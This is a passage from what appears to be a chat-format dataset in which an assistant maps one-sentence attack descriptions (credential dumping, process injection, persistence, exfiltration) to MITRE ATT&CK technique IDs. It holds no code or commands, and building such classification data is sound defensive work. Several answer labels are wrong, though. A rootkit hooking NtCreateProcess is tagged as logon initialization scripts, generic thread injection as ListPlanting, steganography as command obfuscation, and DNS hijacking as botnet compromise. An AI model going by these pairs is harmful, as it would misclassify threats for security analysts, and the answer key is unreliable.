                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through an exploit in a network driver, the attacker makes the system continuously reboot, denying legitimate use."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat modifies the Print Processor settings in the registry to launch a PowerShell script each time a print job is queued."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages MAPI to programmatically add a rule that forwards incoming emails to a C2-controlled mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script searches for .pem and .key files across the file system, compresses them, and sends them to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the legitimate Windows binary rundll32.exe to load a malicious DLL and execute its payload, masking the activity as a normal system process."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a disguised .exe file with a misleading name and uses a shortcut (.lnk) placed on the desktop to indirectly launch the payload when the user clicks it."
            },
            {
                "role": "assistant",
                "content": "T1202 - Indirect Command Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder creates a domain account and disables it, planning to re-enable it later for stealth."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Verclsid system binary to execute a payload by referencing it in a Windows shortcut (.lnk) file."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages root access to dump the contents of /etc/shadow, then maps them to user accounts from /etc/passwd."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages AppleScript to programmatically open Terminal and execute a chain of shell commands for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executes a PowerShell script that runs icacls to add Full Control permissions for the Administrators group on the victim's C:\\Windows\\System32 directory."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group exploits the AWS Systems Manager Session Manager to connect straight to a compromised EC2 instance."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors used a compromised backup server to retrieve and exfiltrate sensitive corporate files."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a custom Python script to batch‑upload stolen media files to a private Mega.nz cloud storage account."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group installs a malicious driver that automatically copies files to any newly inserted USB storage device."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromises a compromised VPS by exploiting an outdated web application, then leverages the server to host command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor edited the \"Security Options\" in the domain policy to set \"Shutdown: Allow system to be shut down without having to log on\" to Enabled, enabling remote shutdowns."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Performing a wordlist scan of SMB shares to enumerate accessible folders on the target network."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary logs in using compromised user credentials to gain authorized access to the target environment."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious JavaScript is delivered via a malicious macro in a Microsoft Office document; the macro launches the script using cscript.exe to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script queried the GCP metadata server from a compromised VM to get an access token, then used it to modify firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder adds a new PAM module that logs credentials and then authenticates the user regardless of password validity."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a timed series of connection attempts to designated ports, acting as a port knock to signal the remote C2 server that it may now accept encrypted payloads."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service account, the perpetrator added a new group policy that forces all machines to load a malicious startup script."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware halts the \"SQL Server\" service, causing the database to become unavailable."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromise the IIS configuration on a web server, inserting a malicious web.config file that loads a backdoor module."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign uses personalized spearphishing messages with a malicious URL that leads to a credential‑stealing service."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is embedded in a legitimate software installer, triggering execution when the user launches the installer wizard."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a credential dumping module to extract Chrome saved passwords from a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the infection chain, the payload is obfuscated by adding multiple NOP sleds and dummy sections to the executable."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals obtain technical manuals for the victim's industrial control systems through a paid subscription on a hidden site."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised the company's intranet portal and replaced the home page with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor spoofs security alert dialogs, displaying false warnings that lead users to run a compromised remediation tool."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation scripts scan for private key files in Docker container images and retrieve them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects false data into API calls as they travel between client and server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs thread execution hijacking by injecting a reflective DLL into a target process's thread via WriteProcessMemory and SetThreadContext."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the System Binary Proxy Execution technique, the attacker calls regasm.exe with /silent to silently install a malicious assembly."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a PowerShell‑like script on macOS that uses 'security' commands to list and export generic passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use DNS queries to exfiltrate data and receive commands from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a scan of the corporate load balancer to enumerate backend server IPs and health check settings."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Encrypted data is exfiltrated via a legitimate VPN tunnel that the attacker has compromised on the victim network."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses SetThreadContext and WriteProcessMemory to place a malicious DLL into the address space of explorer.exe, then schedules it for execution."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the post-exploitation phase, the hacker reads /etc/shadow to collect password hashes for cracking."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a mail rule that automatically forwards all incoming messages to an external address."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant collects password hashes, encrypts them with a reversible cipher, and replaces the original hashes in the security account manager."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Default Domain Policy to disable password complexity requirements."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers an Active Setup component with a command line that launches a credential stealer at each login event."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware encodes command data in HTTP GET parameters when communicating with a remote web service C2."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a rootkit to hook the NtCreateProcess system call, ensuring their code runs each time a process is created."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors edited the startup scripts of cloud VMs to install backdoor services, effectively altering the compute environment."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker replaces the Windows utility Utilman.exe with a malicious payload, so that pressing the Ease of Access button at the login screen triggers execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage DNS zone transfers and traceroute data to reconstruct the layout of the victim's internal network."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Exchange Web Services (EWS) endpoint with stolen credentials to enumerate and download messages from all user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious process was named 'svchost.exe' and registered as a service to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised web server, the threat actor configures a reverse HTTP tunnel to relay internal network traffic to a remote server under the attacker’s control."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows System Restore and deletes all Volume Shadow Copy snapshots to block recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a malicious .dotx file to a shared network share; when users open the template, the embedded macro executes and drops a payload."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Android app contacts a command server via Google Firebase Cloud Messaging (FCM) to receive push notifications containing commands."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script inspects the CPU instruction set using CPUID for hypervisor leaf values that reveal the presence of a hypervisor."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses LSASS via the MiniDumpWriteDump function to pull password data."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised OAuth token to create a new service account in the target cloud provider."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a Python script that calls the /users endpoint of the Azure AD Graph to enumerate email accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.003 - Account Discovery: Email Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary sends a corporate-sounding message with a link to a fake invoice PDF that actually triggers a drive-by download."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload collects details about open windows, including class names and captions, to decide the next step in the attack chain."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries encode exfiltrated data with Base64 to blend in with normal web traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using PowerShell, the actor called the SNMP API to retrieve MIB data from a Windows server."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command strings are hidden within image files using steganography, extracted and executed by a loader."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deploy a malicious Office document, then use VBA stomping to replace the malicious macro with a benign one, removing forensic traces."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant creates a scheduled event that extracts files from the user's Documents folder and uploads them via SFTP."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs DNS hijacking to redirect traffic to a botnet‑controlled server farm for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group hijacks a remote management session in a cloud environment (e.g., Azure Bastion) to gain unauthorized access to the underlying virtual machine."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Procdump with the -ma flag, the adversary captures a full memory dump of LSASS to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a custom decoder to transform a proprietary encoded payload into a usable binary."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sends direct messages on Facebook with a link to a malicious site that steals cookies and session data."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor executes a command to query the system registry for location-based policies and settings."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
